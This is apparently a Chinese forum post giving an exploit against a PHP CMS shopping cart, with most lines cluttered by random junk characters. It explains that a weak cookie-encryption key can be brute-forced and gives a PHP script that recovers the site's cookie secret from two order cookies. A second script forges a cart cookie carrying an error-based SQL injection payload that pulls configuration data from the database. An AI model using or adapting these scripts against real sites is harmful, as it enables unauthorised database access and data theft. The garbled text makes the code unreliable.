www.xxx.com/plus/search.php?keyword=
8 n& P- _" u2 j D, v) @在 include/shopcar.class.php中' X" U R& L+ \5 l, ]# ?. d: j4 H
先看一下这个shopcar类是如何生成cookie的& o+ v" c" f Y ^7 q
239 function saveCookie($key,$value)) r8 _" T9 Q8 A- Q/ e6 C8 T
240 {+ ]" V5 t& o& k1 a, J
241 if(is_array($value))/ X1 i( V& g+ h; b" R) T J
242 {
- b, h1 X3 q* E3 t% e; P9 b7 A* O243 $value = $this->enCrypt($this->enCode($value));
# j- W% A+ K8 f+ K) r0 R3 u244 }
Y! T" m0 ]/ K8 q: x245 else
7 _4 p) ]* \! |5 P246 {; |7 F5 m! k, h S' d7 L9 M) ^* u
247 $value = $this->enCrypt($value);
+ u8 x2 B+ t x# o' w- J: | \248 }
! U6 A, B @0 X249 setcookie($key,$value,time()+36000,’/');, Z6 s5 N/ h! d( m8 q: ]
250 }0 f5 s; M" J7 W9 ?
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数, e Q+ o7 N! S1 C3 ]; F
186 function enCrypt($txt)
) M# l% r0 @/ R1 D2 _0 ^187 {
: q7 W) V9 `7 K1 q7 z188 srand((double)microtime() * 1000000);9 M+ Z: }( \- Q8 Y
189 $encrypt_key = md5(rand(0, 32000));
4 m5 M$ T2 }4 C+ @1 j ^190 $ctr = 0;
/ _6 L) ~- _4 S7 Y6 A8 ^; p2 W- [191 $tmp = ”;% F; ]$ _5 w; P1 Y( p: g
192 for($i = 0; $i < strlen($txt); $i++)0 r) }4 a) `1 G+ v% a
193 {$ I% R2 ~2 V2 ~& p6 ~$ P
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
/ X* B7 ^8 Y- S/ F' H195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
]1 C# V# d) U( ^196 }
! T4 F) }1 D: [/ P' }5 P197 return base64_encode($this->setKey($tmp));& V7 t. [8 B% M
198 }. v2 b( Q# q) u
213 function setKey($txt)
' e- A& K" {2 ]; { ]7 F214 {1 R& C% X; D6 f8 y2 l6 Y% m* D
215 global $cfg_cookie_encode;
* j# r1 p% \# L% v, j' i, Q216 $encrypt_key = md5(strtolower($cfg_cookie_encode)); T' U/ i; h8 N Z$ F! z
217 $ctr = 0;* j/ Z- W( C( |0 B7 K* R
218 $tmp = ”;0 t; V1 i3 ]* A4 c3 A+ U
219 for($i = 0; $i < strlen($txt); $i++)& P R8 C8 A+ P5 q0 I4 Y" w
220 {
5 x6 p' t+ R: w( m( U221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;# Z! H( N6 B7 b6 M4 g
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
' T4 d* N& ?- y. F$ F( a223 }! { o5 T' x' _1 B/ m! E3 u5 u
224 return $tmp;
) r* J, U! \. I; g% h( j1 d225 }4 A! R* l6 Z8 ~% `% u% t5 e1 `
enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的% u5 p0 \" d0 ?3 ]) j
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
) w, ~1 S- V5 ]2 |& ^, F! ?具体代码如下:
. B# `5 c) \" W- J<?php; J9 Q) ]1 I6 R `9 g* y
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here; R: @: }) J, t0 a K. F1 d
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
* ]) I" i9 t, }6 ~7 O7 ?2 x$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
0 L' O! ~; s( C- bfunction reStrCode($code,$string)
2 B9 U ^4 ~+ \/ `# F- y) i{
' @- A; U* s% j, [( E( Y$code = base64_decode($code);
1 R8 r) u9 n* z% H" @0 X2 D- ]( a$key = “”;
, E' x2 Z9 N' r* _% Rfor($i=0 ; $i<32 ; $i++)- l9 k# ?9 J4 a7 L
{; U; Q: U, [! m5 e6 z8 l* Y
$key .= $string[$i] ^ $code[$i];1 R: A1 f% T) a! ]: a
}
) u2 q5 m2 m \2 h- W* hreturn $key;: P, }& `+ w$ N4 |3 _
}+ Q9 s8 @/ v9 o" A9 B' L
function getKeys($cookie,$plantxt)& I) e7 f6 L6 _1 |9 o. _( n
{
% f% D% u# N( Y U" h# b( T. g$tmp = $cookie;
1 _' o- T+ R, Z( h2 r3 ]$ I5 R. f$results = array();
+ [% i$ a7 ]" U& u, P, b- @1 Z: vfor($j=0 ; $j < 32000; $j++)0 Y+ c' M; L- E# ]# t
{4 ?! Y8 E4 [% k3 f3 [4 [# S
7 ~2 V& R! g2 T9 s ]
$txt = $plantxt;
$ E1 j F6 ]. K" l9 x$ctr = 0;
6 k, K/ C+ z8 E/ w3 x. m" i* p$tmp = ”;3 b( b) ]4 A0 {( X& ^: R* x
$encrypt_key = md5($j);
) l: }* C' D, V! n: ]& m1 e) bfor($i =0; $i < strlen($txt); $i ++)
6 B6 m2 I* j6 p4 O& F{
& P9 K# M5 w/ J5 B. W |$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;! ?+ s$ {. ?8 |2 ~! K/ o4 p- N
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);4 y( t+ s/ |; T( g! Z" u+ ?
}
) O7 z: n* o0 j. A$string = $tmp;" P4 H/ T9 N6 R
$code = $cookie;
: \7 T( X2 _+ e8 q& A5 I$result = reStrCode($code,$string);5 v2 i% O/ F. Y3 x
if(eregi(‘^[a-z0-9]+$’,$result))
$ x% w7 c7 T; x' `{" b" V. p0 {" B5 z
echo $result.”\n”;
+ P% Y2 Y$ G' b5 {% C4 G$results[] = $result;
: z s5 s1 d! R9 F' Y$ u}( i/ e- z8 [5 ^
}- M. t1 l2 I9 ~8 l1 D
return $results;
6 R' e7 f9 A: ^6 w5 ?# f}
) W* p8 r& O, z) N$results1 = getKeys($cookie1,$plantxt);
) [: W/ _3 g3 `, ~" j l; n$results2 = getKeys($cookie2,$plantxt);
. C, B: |* _ Vprint “\n——————–real key————————–\n”;
$ `* `% z. w" W+ t7 {% c# ^foreach($results1 as $test1)+ k% U4 a- Y) L2 |7 L+ w# @- j1 Y2 z
{
( X5 K5 ]8 p7 Aforeach($results2 as $test2)) w4 a2 {% G: v; `3 A0 c
{
# B4 S. n' p6 L$ F' Wif($test1 == $test2)
6 |" P$ s/ i. T; V |5 l{7 I7 e' H* ], l! p8 d3 m
echo $test1.”\n”;. L' \3 R$ R) R
}
2 n$ U' w" H, u: `# ?5 U/ D ~}
2 ~8 l! E% l' p. g}
; L; D+ E8 E9 [/ g& L; W3 I?>; l8 U6 y, ~- \1 ~0 K
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,' L$ j/ r9 q1 b8 Q- F8 B( t
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua15 p2 c$ T1 r$ P0 l& ~
然后推算出md5(strtolower($cfg_cookie_encode))* R- r" `9 N/ F& s
得到这个key之后,我们就可以构造任意购物车的cookie: n5 `; D V, U0 |6 P. k8 v
接着看
: N6 Y2 H" x6 d1 Z20 class MemberShops+ A; S; f, c2 N8 M% v# Z
21 {
" G r1 F- g4 V22 var $OrdersId;% k4 j7 i E' ]3 |2 `4 R9 l
23 var $productsId;
# |2 F& z8 c; j3 n3 h24: o3 F5 m/ _: s4 J b8 o
25 function __construct()
. T D8 G+ W4 j; K N2 j: r* X4 w7 T26 {2 t2 u+ X" ~$ o0 W7 f: K
27 $this->OrdersId = $this->getCookie(“OrdersId”);9 y3 k8 W! ?, a
28 if(empty($this->OrdersId))- `5 H" C. M! K; w
29 {
' W) q5 X; H, f( v& Q# g: L3 ]30 $this->OrdersId = $this->MakeOrders();
8 V2 `2 M1 J# z3 F31 }. j$ z' B! ^$ K e
32 }. U+ t8 y! a, R
发现OrderId是从cookie里面获取的5 U5 `( }: G5 a% L7 Z3 F
然后" ]. u% r; b( [. p, _5 m
/plus/carbuyaction.php中的5 i$ Y; q3 t% t7 s7 p/ O
29 $cart = new MemberShops();. ^9 O! l5 @7 y, D- B h7 y; S; e
39 $OrdersId = $cart->OrdersId; //本次记录的订单号6 J4 p6 C2 r6 \) g8 @
……+ E2 b# s! ?- @& s, [& O
173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);: n2 \6 s0 @ F% d: x3 F
接着我们就可以注入了% X! b4 G; I8 }
通过利用下面代码生成cookie:# ]3 A$ L6 J0 R
<?php9 U# c! T- `, l6 i h1 O3 f
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
+ ^8 N2 l+ c+ P% X$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here' @. v0 L5 S% ^7 U, o* E
function setKey($txt)+ M) V' T/ h6 d1 \! Q1 L9 ~
{
' S$ `; ]: t1 K, dglobal $encrypt_key;; J# S) Q- w8 N8 C5 S# c
$ctr = 0;
0 r, Q* ^$ t @ y* P1 H! ^$tmp = ”;
6 k% ~: \* B5 o k8 i V- Ffor($i = 0; $i < strlen($txt); $i++)
9 \& r' i& a& u6 k# n{" ?/ t! {1 d% C M% @( M! M
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;) f. m7 [* l1 Z2 o: `& b6 h! D
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
/ I* t. @5 N: u7 _' L} |7 E" q6 U, Z L1 O
return $tmp;
, U! O& X$ o5 J/ ^# K}
. \1 ?$ O ]& ~& L4 N- cfunction enCrypt($txt)8 s+ o: A" u0 Y/ R9 O
{
+ r8 W- M4 p2 G( X$ l2 Bsrand((double)microtime() * 1000000);
' z" |* J' N: J" ?$encrypt_key = md5(rand(0, 32000));
/ V, d# H6 P' \1 t& C$ctr = 0;
( ^* o0 c+ `: M" r. B% ~6 H$tmp = ”;- z4 K/ k g- S2 j0 w l
for($i = 0; $i < strlen($txt); $i++)0 o+ o8 D! n" r# y4 Q
{
: {1 V* G* v( O; Q0 z v$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
- J2 B* u8 v. ?0 }# x4 U$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);! k4 M# I. a; \. z6 g) S
}* x7 Y' V2 x" q; i5 P k& k
return base64_encode(setKey($tmp));' {$ }. q" `" E5 N
}( I) T& o5 h9 q6 O% [
for($dest =0;$dest = enCrypt($txt);), B ]6 Z i: \$ `7 v7 C% f _! P+ }
{
$ e* S- G# k8 e4 o/ ~" |if(!strpos($dest,’+'))
) o. w, B/ p+ u _ |- p{9 b& F' c W; R5 I q- u( _, y( V& Z. U
break;
0 e9 q. \! W7 {5 Q/ f: W}
5 W# {) A# e: c; I0 Q6 y}
- f4 J* Y0 s+ D8 X3 L Wecho $dest.”\n”;
' ~ i I# r. D% Z7 X% m- R?>7 \# `2 H, b/ E j
* [( {+ S) c" P( ~/ s, ^1 w+ n
|